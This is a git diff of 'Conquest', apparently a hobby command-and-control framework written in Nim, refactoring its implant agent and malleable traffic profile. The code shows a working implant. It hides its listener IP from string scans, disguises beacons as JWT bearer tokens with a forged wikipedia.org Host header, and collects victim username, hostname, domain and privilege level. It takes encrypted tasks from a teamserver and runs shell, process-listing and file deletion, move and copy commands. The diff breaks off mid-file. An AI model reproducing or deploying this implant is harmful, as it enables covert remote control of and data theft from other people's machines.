diff --git a/data/profile.toml b/data/profile.toml index 4037327..f264b32 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -1,5 +1,4 @@ # Conquest default configuration file -# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837 name = "cq-default-profile" @@ -11,7 +10,7 @@ database_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/conquest.db # General agent settings [agent] sleep = 5 -user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" +user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" # ---------------------------------------------------------- # HTTP GET @@ -46,9 +45,13 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" # Defines arbitrary URI parameters that are added to the request [http-get.agent.parameters] +id = "bd5a-c65176a7ac5c" +lang = "en-US" # Defines arbitrary headers that are added by the agent when performing a HTTP GET request [http-get.agent.headers] +Host = "wikipedia.org" +Connection = "Keep-Alive" Cache-Control = "no-cache" # Defines arbitrary headers that are added to the server's response @@ -66,14 +69,21 @@ placement = { type = "body" } # ---------------------------------------------------------- # HTTP POST # ---------------------------------------------------------- -# Defines URI endpoints for HTTP POST requests [http-post] +# Defines URI endpoints for HTTP POST requests endpoints = [ "/post", "/api/v2/get.js" ] +# Post request can also be sent with the HTTP verb PUT instead +request-methods = [ + "POST", + "PUT" +] + [http-post.agent.headers] +Host = "wikipedia.org" Content-Type = "application/octet-stream" Connection = "Keep-Alive" Cache-Control = "no-cache" diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim new file mode 100644 index 0000000..ba936e6 --- /dev/null +++ b/src/agent/core/context.nim @@ -0,0 +1,59 @@ +import parsetoml, base64, system +import ../../common/[types, utils, crypto] + +const ListenerUuid {.strdefine.}: string = "" +const Octet1 {.intdefine.}: int = 0 +const Octet2 {.intdefine.}: int = 0 +const Octet3 {.intdefine.}: int = 0 +const Octet4 {.intdefine.}: int = 0 +const ListenerPort {.intdefine.}: int = 5555 +const SleepDelay {.intdefine.}: int = 10 +const ServerPublicKey {.strdefine.}: string = "" +const ProfileString {.strdefine.}: string = "" + +proc init*(T: type AgentCtx): AgentCtx = + + try: + # The agent configuration is read at compile time using define/-d statements in nim.cfg + # This configuration file can be dynamically generated from the teamserver management interface + # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary + when not ( defined(ListenerUuid) or + defined(Octet1) or + defined(Octet2) or + defined(Octet3) or + defined(Octet4) or + defined(ListenerPort) or + defined(SleepDelay) or + defined(ServerPublicKey) or + defined(ProfilePath)): + raise newException(CatchableError, "Missing agent configuration.") + + # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary + let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 + + # Create agent configuration + var agentKeyPair = generateKeyPair() + let serverPublicKey = decode(ServerPublicKey).toKey() + + let ctx = AgentCtx( + agentId: generateUUID(), + listenerId: ListenerUuid, + ip: address, + port: ListenerPort, + sleep: SleepDelay, + sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication + agentPublicKey: agentKeyPair.publicKey, + profile: parseString(decode(ProfileString)) + ) + + # Cleanup agent's secret key + wipeKey(agentKeyPair.privateKey) + + return ctx + + except CatchableError as err: + echo "[-] " & err.msg + return nil + + + diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 56d1d10..63449a1 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -1,25 +1,55 @@ -import httpclient, json, strformat, strutils, asyncdispatch, base64 +import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random -import ../../common/[types, utils] +import ../../common/[types, utils, profile] +import sugar +proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = -const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) + var heartbeatString: string -proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string = + # Apply data transformation to the heartbeat bytes + case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") + of "base64": + heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "") + of "none": + heartbeatString = Bytes.toString(heartbeat) + + let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix") + let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix") - let client = newAsyncHttpClient(userAgent = USER_AGENT) - var responseBody = "" + let payload = prefix & heartbeatString & suffix - # Define HTTP headers - # The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded) - let payload = encode(checkinData, safe = true).replace("=", "") - client.headers = newHttpHeaders({ - "Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" - }) + # Add heartbeat packet to the request + case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): + of "header": + client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload) + of "parameter": + discard + of "uri": + discard + of "body": + discard + else: + discard + + # Define request headers, as defined in profile + for header, value in ctx.profile.getTable("http-get.agent.headers"): + client.headers.add(header, value.getStr()) + + # Define additional request parameters + var params = "" + for param, value in ctx.profile.getTable("http-get.agent.parameters"): + params &= fmt"&{param}={value.getStr}" + params[0] = '?' + + # Select a random endpoint to make the request to + var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr() + if endpoint[0] == '/': + endpoint = endpoint[1..^1] try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get") - return responseBody + return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}") except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time @@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string = return "" -proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} = +proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = - let client = newAsyncHttpClient(userAgent = USER_AGENT) + let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) - # Define headers - client.headers = newHttpHeaders({ - "Content-Type": "application/octet-stream", - "Content-Length": $data.len - }) + # Define request headers, as defined in profile + for header, value in ctx.profile.getTable("http-post.agent.headers"): + client.headers.add(header, value.getStr()) + # Select a random endpoint to make the request to + var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr() + if endpoint[0] == '/': + endpoint = endpoint[1..^1] + + let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST")) + let body = Bytes.toString(data) try: # Send post request to team server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body) + discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body) except CatchableError as err: echo "[-] " & err.msg diff --git a/src/agent/main.nim b/src/agent/main.nim index 3845786..05ac921 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,70 +1,28 @@ import strformat, os, times, system, base64 -import core/[task, taskresult, heartbeat, http, register] +import core/[http, context] +import protocol/[task, result, heartbeat, registration] import ../modules/manager import ../common/[types, utils, crypto] -const ListenerUuid {.strdefine.}: string = "" -const Octet1 {.intdefine.}: int = 0 -const Octet2 {.intdefine.}: int = 0 -const Octet3 {.intdefine.}: int = 0 -const Octet4 {.intdefine.}: int = 0 -const ListenerPort {.intdefine.}: int = 5555 -const SleepDelay {.intdefine.}: int = 10 -const ServerPublicKey {.strdefine.}: string = "" - proc main() = - #[ - The process is the following: - 1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings - 2. Agent collects information relevant for the registration (using Windows API) - 3. Agent registers to the teamserver - 4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate - ]# - # The agent configuration is read at compile time using define/-d statements in nim.cfg - # This configuration file can be dynamically generated from the teamserver management interface - # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary - when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey): - echo "Missing agent configuration." + # Initialize agent context + var ctx = AgentCtx.init() + if ctx == nil: quit(0) - # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary - let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 - - # Create agent configuration - var config: AgentConfig - try: - var agentKeyPair = generateKeyPair() - let serverPublicKey = decode(ServerPublicKey).toKey() - - config = AgentConfig( - agentId: generateUUID(), - listenerId: ListenerUuid, - ip: address, - port: ListenerPort, - sleep: SleepDelay, - sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication - agentPublicKey: agentKeyPair.publicKey - ) - - # Cleanup agent's secret key - wipeKey(agentKeyPair.privateKey) - - except CatchableError as err: - echo "[-] " & err.msg - # Load agent commands loadModules() # Create registration payload - var registration: AgentRegistrationData = config.collectAgentMetadata() - let registrationBytes = config.serializeRegistrationData(registration) + var registration: AgentRegistrationData = ctx.collectAgentMetadata() + let registrationBytes = ctx.serializeRegistrationData(registration) - if not config.httpPost(registrationBytes): + if not ctx.httpPost(registrationBytes): echo "[-] Agent registration failed." quit(0) - echo fmt"[+] [{config.agentId}] Agent registered." + echo fmt"[+] [{ctx.agentId}] Agent registered." #[ Agent routine: @@ -77,7 +35,7 @@ proc main() = while true: # TODO: Replace with actual sleep obfuscation that encrypts agent memory - sleep(config.sleep * 1000) + sleep(ctx.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." @@ -85,16 +43,16 @@ proc main() = try: # Retrieve task queue for the current agent by sending a check-in/heartbeat request # The check-in request contains the agentId, listenerId, so the server knows which tasks to return - var heartbeat: Heartbeat = config.createHeartbeat() + var heartbeat: Heartbeat = ctx.createHeartbeat() let - heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat) - packet: string = config.httpGet(heartbeatBytes) + heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat) + packet: string = ctx.httpGet(heartbeatBytes) if packet.len <= 0: echo "[*] No tasks to execute." continue - let tasks: seq[Task] = config.deserializePacket(packet) + let tasks: seq[Task] = ctx.deserializePacket(packet) if tasks.len <= 0: echo "[*] No tasks to execute." @@ -102,14 +60,13 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: - var result: TaskResult = config.handleTask(task) - let resultBytes: seq[byte] = config.serializeTaskResult(result) + var result: TaskResult = ctx.handleTask(task) + let resultBytes: seq[byte] = ctx.serializeTaskResult(result) - config.httpPost(resultBytes) + ctx.httpPost(resultBytes) except CatchableError as err: echo "[-] ", err.msg - - + when isMainModule: main() \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index a627080..e2fea77 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,9 +1,10 @@ # Agent configuration --d:ListenerUuid="03FBA764" +-d:ListenerUuid="D07778EF" -d:Octet1="172" -d:Octet2="29" -d:Octet3="177" -d:Octet4="43" --d:ListenerPort=7777 --d:SleepDelay=5 +-d:ListenerPort=8080 +-d:SleepDelay=10 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" +-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo=" diff --git a/src/agent/core/heartbeat.nim b/src/agent/protocol/heartbeat.nim similarity index 73% rename from src/agent/core/heartbeat.nim rename to src/agent/protocol/heartbeat.nim index 456c8a1..0e22cfa 100644 --- a/src/agent/core/heartbeat.nim +++ b/src/agent/protocol/heartbeat.nim @@ -2,7 +2,7 @@ import times import ../../common/[types, serialize, sequence, utils, crypto] -proc createHeartbeat*(config: AgentConfig): Heartbeat = +proc createHeartbeat*(ctx: AgentCtx): Heartbeat = return Heartbeat( header: Header( magic: MAGIC, @@ -10,16 +10,16 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat = packetType: cast[uint8](MSG_HEARTBEAT), flags: cast[uint16](FLAG_ENCRYPTED), size: 0'u32, - agentId: uuidToUint32(config.agentId), + agentId: uuidToUint32(ctx.agentId), seqNr: 0'u32, iv: generateIV(), gmac: default(AuthenticationTag) ), - listenerId: uuidToUint32(config.listenerId), + listenerId: uuidToUint32(ctx.listenerId), timestamp: uint32(now().toTime().toUnix()) ) -proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] = +proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] = var packer = Packer.init() @@ -32,7 +32,7 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] packer.reset() # Encrypt check-in / heartbeat request body - let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr) + let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr) # Set authentication tag (GMAC) request.header.gmac = gmac diff --git a/src/agent/core/register.nim b/src/agent/protocol/registration.nim similarity index 93% rename from src/agent/core/register.nim rename to src/agent/protocol/registration.nim index 3460c15..d3d8293 100644 --- a/src/agent/core/register.nim +++ b/src/agent/protocol/registration.nim @@ -192,7 +192,7 @@ proc getOSVersion(): string = else: return "Unknown" -proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = +proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = return AgentRegistrationData( header: Header( @@ -201,14 +201,14 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = packetType: cast[uint8](MSG_REGISTER), flags: cast[uint16](FLAG_ENCRYPTED), size: 0'u32, - agentId: uuidToUint32(config.agentId), - seqNr: nextSequence(uuidToUint32(config.agentId)), + agentId: uuidToUint32(ctx.agentId), + seqNr: nextSequence(uuidToUint32(ctx.agentId)), iv: generateIV(), gmac: default(AuthenticationTag) ), - agentPublicKey: config.agentPublicKey, + agentPublicKey: ctx.agentPublicKey, metadata: AgentMetadata( - listenerId: uuidToUint32(config.listenerId), + listenerId: uuidToUint32(ctx.listenerId), username: string.toBytes(getUsername()), hostname: string.toBytes(getHostname()), domain: string.toBytes(getDomain()), @@ -217,11 +217,11 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = process: string.toBytes(getProcessExe()), pid: cast[uint32](getProcessId()), isElevated: cast[uint8](isElevated()), - sleep: cast[uint32](config.sleep) + sleep: cast[uint32](ctx.sleep) ) ) -proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] = +proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] = var packer = Packer.init() @@ -242,7 +242,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration packer.reset() # Encrypt metadata - let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr) + let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr) # Set authentication tag (GMAC) data.header.gmac = gmac diff --git a/src/agent/core/taskresult.nim b/src/agent/protocol/result.nim similarity index 89% rename from src/agent/core/taskresult.nim rename to src/agent/protocol/result.nim index b54e0ca..4e8faeb 100644 --- a/src/agent/core/taskresult.nim +++ b/src/agent/protocol/result.nim @@ -24,7 +24,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r data: resultData, ) -proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] = +proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte] = var packer = Packer.init() @@ -45,7 +45,7 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[ packer.reset() # Encrypt result body - let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr) + let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr) # Set authentication tag (GMAC) taskResult.header.gmac = gmac diff --git a/src/agent/core/task.nim b/src/agent/protocol/task.nim similarity index 77% rename from src/agent/core/task.nim rename to src/agent/protocol/task.nim index 2e6f7a1..b63f4c7 100644 --- a/src/agent/core/task.nim +++ b/src/agent/protocol/task.nim @@ -1,15 +1,16 @@ import strutils, tables, json, strformat, sugar +import ./result import ../../modules/manager import ../../common/[types, serialize, sequence, crypto, utils] -proc handleTask*(config: AgentConfig, task: Task): TaskResult = +proc handleTask*(ctx: AgentCtx, task: Task): TaskResult = try: - return getCommandByType(cast[CommandType](task.command)).execute(config, task) + return getCommandByType(cast[CommandType](task.command)).execute(ctx, task) except CatchableError as err: - echo "[-] Invalid command. " & err.msg + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) -proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = +proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task = var unpacker = Unpacker.init(Bytes.toString(bytes)) @@ -20,7 +21,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = # Decrypt payload let payload = unpacker.getBytes(int(header.size)) - let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header) + let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data unpacker = Unpacker.init(Bytes.toString(decData)) @@ -50,7 +51,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = args: args ) -proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] = +proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] = result = newSeq[Task]() @@ -68,6 +69,6 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] = taskLength = unpacker.getUint32() taskBytes = unpacker.getBytes(int(taskLength)) - result.add(config.deserializeTask(taskBytes)) + result.add(ctx.deserializeTask(taskBytes)) dec taskCount \ No newline at end of file diff --git a/src/common/profile.nim b/src/common/profile.nim index 7b763c3..752dda2 100644 --- a/src/common/profile.nim +++ b/src/common/profile.nim @@ -1,4 +1,4 @@ -import parsetoml, strutils +import parsetoml, strutils, random import ./[types, utils] proc findKey(profile: Profile, path: string): TomlValueRef = @@ -41,3 +41,14 @@ proc getTable*(profile: Profile, path: string): TomlTableRef = if key == nil: return new TomlTableRef return key.getTable() + +proc getArray*(profile: Profile, path: string): seq[TomlValueRef] = + let key = profile.findKey(path) + if key == nil: + return @[] + return key.getElems() + +proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = + if values.len == 0: + return nil + return values[rand(values.len - 1)] \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 3f530e8..37bfd38 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -176,7 +176,7 @@ type # Agent config type - AgentConfig* = ref object + AgentCtx* = ref object agentId*: string listenerId*: string ip*: string @@ -184,6 +184,7 @@ type sleep*: int sessionKey*: Key agentPublicKey*: Key + profile*: Profile # Structure for command module definitions type @@ -200,4 +201,4 @@ type example*: string arguments*: seq[Argument] dispatchMessage*: string - execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.} \ No newline at end of file + execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} \ No newline at end of file diff --git a/src/modules/environment.nim b/src/modules/environment.nim index 2e5bd92..c2802bf 100644 --- a/src/modules/environment.nim +++ b/src/modules/environment.nim @@ -1,9 +1,9 @@ import ../common/[types, utils] # Declare function prototypes -proc executePs(config: AgentConfig, task: Task): TaskResult -proc executeEnv(config: AgentConfig, task: Task): TaskResult -proc executeWhoami(config: AgentConfig, task: Task): TaskResult +proc executePs(ctx: AgentCtx, task: Task): TaskResult +proc executeEnv(ctx: AgentCtx, task: Task): TaskResult +proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult # Command definitions let commands*: seq[Command] = @[ @@ -35,15 +35,15 @@ let commands*: seq[Command] = @[ # Implement execution functions when defined(server): - proc executePs(config: AgentConfig, task: Task): TaskResult = nil - proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil - proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil + proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import winim import os, strutils, sequtils, strformat, tables, algorithm - import ../agent/core/taskresult + import ../agent/protocol/result # TODO: Add user context to process information type @@ -53,7 +53,7 @@ when defined(agent): name: string children: seq[DWORD] - proc executePs(config: AgentConfig, task: Task): TaskResult = + proc executePs(ctx: AgentCtx, task: Task): TaskResult = echo fmt" [>] Listing running processes." @@ -127,7 +127,7 @@ when defined(agent): except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) - proc executeEnv(config: AgentConfig, task: Task): TaskResult = + proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = echo fmt" [>] Displaying environment variables." @@ -141,7 +141,7 @@ when defined(agent): except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) - proc executeWhoami(config: AgentConfig, task: Task): TaskResult = + proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = echo fmt" [>] Getting user information." diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 30ad335..65e7eda 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -1,13 +1,13 @@ import ../common/[types, utils] # Define function prototypes -proc executePwd(config: AgentConfig, task: Task): TaskResult -proc executeCd(config: AgentConfig, task: Task): TaskResult -proc executeDir(config: AgentConfig, task: Task): TaskResult -proc executeRm(config: AgentConfig, task: Task): TaskResult -proc executeRmdir(config: AgentConfig, task: Task): TaskResult -proc executeMove(config: AgentConfig, task: Task): TaskResult -proc executeCopy(config: AgentConfig, task: Task): TaskResult +proc executePwd(ctx: AgentCtx, task: Task): TaskResult +proc executeCd(ctx: AgentCtx, task: Task): TaskResult +proc executeDir(ctx: AgentCtx, task: Task): TaskResult +proc executeRm(ctx: AgentCtx, task: Task): TaskResult +proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult +proc executeMove(ctx: AgentCtx, task: Task): TaskResult +proc executeCopy(ctx: AgentCtx, task: Task): TaskResult # Command definitions let commands* = @[ @@ -85,21 +85,21 @@ let commands* = @[ # Implementation of the execution functions when defined(server): - proc executePwd(config: AgentConfig, task: Task): TaskResult = nil - proc executeCd(config: AgentConfig, task: Task): TaskResult = nil - proc executeDir(config: AgentConfig, task: Task): TaskResult = nil - proc executeRm(config: AgentConfig, task: Task): TaskResult = nil - proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil - proc executeMove(config: AgentConfig, task: Task): TaskResult = nil - proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil + proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import os, strutils, strformat, times, algorithm, winim - import ../agent/core/taskresult + import ../agent/protocol/result # Retrieve current working directory - proc executePwd(config: AgentConfig, task: Task): TaskResult = + proc executePwd(ctx: AgentCtx, task: Task): TaskResult = echo fmt" [>] Retrieving current working directory." @@ -120,7 +120,7 @@ when defined(agent): # Change working directory - proc executeCd(config: AgentConfig, task: Task): TaskResult = + proc executeCd(ctx: AgentCtx, task: Task): TaskResult = # Parse arguments let targetDirectory = Bytes.toString(task.args[0].data) @@ -139,7 +139,7 @@ when defined(agent): # List files and directories at a specific or at the current path - proc executeDir(config: AgentConfig, task: Task): TaskResult = + proc executeDir(ctx: AgentCtx, task: Task): TaskResult = try: var targetDirectory: string @@ -289,7 +289,7 @@ when defined(agent): # Remove file - proc executeRm(config: AgentConfig, task: Task): TaskResult = + proc executeRm(ctx: AgentCtx, task: Task): TaskResult = # Parse arguments let target = Bytes.toString(task.args[0].data) @@ -307,7 +307,7 @@ when defined(agent): # Remove directory - proc executeRmdir(config: AgentConfig, task: Task): TaskResult = + proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = # Parse arguments let target = Bytes.toString(task.args[0].data) @@ -324,7 +324,7 @@ when defined(agent): return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Move file or directory - proc executeMove(config: AgentConfig, task: Task): TaskResult = + proc executeMove(ctx: AgentCtx, task: Task): TaskResult = # Parse arguments let @@ -344,7 +344,7 @@ when defined(agent): # Copy file or directory - proc executeCopy(config: AgentConfig, task: Task): TaskResult = + proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = # Parse arguments let diff --git a/src/modules/shell.nim b/src/modules/shell.nim index 549876b..cd88b96 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -1,7 +1,7 @@ import ../common/[types, utils] # Define function prototype -proc executeShell(config: AgentConfig, task: Task): TaskResult +proc executeShell(ctx: AgentCtx, task: Task): TaskResult # Command definition (as seq[Command]) let commands*: seq[Command] = @[ @@ -20,14 +20,14 @@ let commands*: seq[Command] = @[ # Implement execution functions when defined(server): - proc executeShell(config: AgentConfig, task: Task): TaskResult = nil + proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): - import ../agent/core/taskresult + import 